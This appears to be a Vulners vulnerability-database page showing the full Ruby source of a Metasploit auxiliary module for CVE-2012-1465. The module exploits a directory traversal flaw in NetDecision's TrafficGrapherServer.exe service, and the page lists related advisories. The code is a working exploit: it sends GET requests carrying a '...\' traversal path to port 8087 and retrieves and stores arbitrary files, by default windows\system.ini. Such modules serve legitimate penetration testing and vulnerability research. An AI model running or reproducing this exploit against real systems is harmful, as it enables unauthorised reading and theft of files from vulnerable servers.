Lucene search
+L

NetDecision NOCVision Server Directory Traversal

🗓️ 07 Mar 2012 00:00:00Reported by Luigi Auriemma, sinn3r <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

NetDecision NOCVision Server Directory Traversal exploit. Retrieves file using directory traversal bug in TrafficGrapherServer.ex

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2012-1465
19 Mar 201219:55
attackerkb
circl
Circl
CVE-2012-1465
29 Feb 201200:00
circl
cve
CVE
CVE-2012-1465
19 Mar 201219:00
cve
cvelist
Cvelist
CVE-2012-1465
19 Mar 201219:00
cvelist
exploitdb
Exploit DB
Netmechanica NetDecision HTTP Server - Denial of Service
29 Feb 201200:00
exploitdb
exploitdb
Exploit DB
Netmechanica NetDecision HTTP Server 4.5.1 - Remote Buffer Overflow (Metasploit)
15 Mar 201200:00
exploitdb
metasploit
Metasploit
NetDecision 4.5.1 HTTP Server Buffer Overflow
24 Feb 201200:00
metasploit
nvd
NVD
CVE-2012-1465
19 Mar 201219:55
nvd
openvas
OpenVAS
NetDecision HTTP Server Long HTTP Request Remote DoS Vulnerability
8 Mar 201200:00
openvas
packetstorm
Packet Storm
NetDecision NOCVision Server Directory Traversal
1 Sep 202400:00
packetstorm
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NetDecision NOCVision Server Directory Traversal',
        'Description' => %q{
          This module exploits a directory traversal bug in NetDecision's
          TrafficGrapherServer.exe service.  This is done by using "...\" in
          the path to retrieve a file on a vulnerable machine.
        },
        'References' => [
          [ 'CVE', '2012-1465' ],
          [ 'OSVDB', '79863' ],
          [ 'URL', 'http://aluigi.altervista.org/adv/netdecision_1-adv.txt' ],
        ],
        'Author' => [
          'Luigi Auriemma', # Initial discovery, poc
          'sinn3r'
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2012-03-07',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        # 8087 = TrafficGrapherServer
        # 8090 = NOCVisionServer
        Opt::RPORT(8087),
        OptString.new('FILEPATH', [false, 'The name of the file to download', 'windows\\system.ini'])
      ]
    )
  end

  def run_host(ip)
    trav = "...\\...\\...\\...\\...\\...\\"

    # In case the user doesn't realize he doesn't need to begin with "\",
    # we'll correct that for him
    file = datastore['FILEPATH']
    file = file[1, file.length] if file[0, 1] == "\\"

    uri = "/#{trav}#{file}"
    print_status("#{ip}:#{rport} - Retrieving #{file}")

    res = send_request_raw({
      'method' => 'GET',
      'uri' => uri
    }, 25)

    if res
      print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
    else
      print_error("#{ip}:#{rport} - No response")
      return
    end

    if res.body.empty?
      print_error("No file to download (empty)")
    else
      fname = File.basename(datastore['FILEPATH'])
      path = store_loot(
        'netdecision.http',
        'application/octet-stream',
        ip,
        res.body,
        fname
      )
      print_status("File saved in: #{path}")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

07 Mar 2012 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 24.3
EPSS0.2712
36